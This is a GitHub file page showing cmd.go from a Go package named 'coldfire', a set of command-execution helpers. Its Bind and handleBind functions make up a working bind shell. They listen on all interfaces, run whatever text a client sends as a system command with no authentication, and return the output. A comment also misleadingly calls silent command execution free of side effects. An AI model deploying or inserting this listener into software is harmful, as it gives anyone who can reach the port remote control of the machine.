-
Notifications
You must be signed in to change notification settings - Fork 142
/
cmd.go
98 lines (86 loc) · 2.07 KB
/
cmd.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package coldfire
import (
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
)
// CmdOut executes a given command and returns its output.
func CmdOut(command string) (string, error) {
return cmdOut(command)
}
// CmdOutPlatform executes a given set of commands based on the OS of the machine.
func CmdOutPlatform(commands map[string]string) (string, error) {
cmd := commands[runtime.GOOS]
out, err := CmdOut(cmd)
if err != nil {
return "", err
}
return out, nil
}
// CmdRun executes a command and writes output as well
// as error to STDOUT.
func CmdRun(command string) {
parts := strings.Fields(command)
head := parts[0]
parts = parts[1:]
cmd := exec.Command(head, parts...)
output, err := cmd.CombinedOutput()
if err != nil {
PrintError(err.Error())
fmt.Println(string(output))
} else {
fmt.Println(string(output))
}
}
// CmdBlind runs a command without any side effects.
func CmdBlind(command string) {
parts := strings.Fields(command)
head := parts[0]
parts = parts[1:]
cmd := exec.Command(head, parts...)
_, _ = cmd.CombinedOutput()
}
// CmdDir executes commands which are mapped to a string
// indicating the directory where the command is executed.
func CmdDir(dirs_cmd map[string]string) ([]string, error) {
outs := []string{}
for dir, cmd := range dirs_cmd {
err := os.Chdir(dir)
if err != nil {
return nil, err
}
o, err := CmdOut(cmd)
if err != nil {
return nil, err
}
outs = append(outs, o)
}
return outs, nil
}
// Bind tells the process to listen to a local port
// for commands.
func Bind(port int) {
listen, err := net.Listen("tcp", "0.0.0.0:"+strconv.Itoa(port))
ExitOnError(err)
defer listen.Close()
for {
conn, err := listen.Accept()
if err != nil {
PrintError("Cannot bind to selected port")
}
handleBind(conn)
}
}
func handleBind(conn net.Conn) {
for {
buffer := make([]byte, 1024)
length, _ := conn.Read(buffer)
command := string(buffer[:length-1])
out, _ := CmdOut(command)
conn.Write([]byte(out))
}
}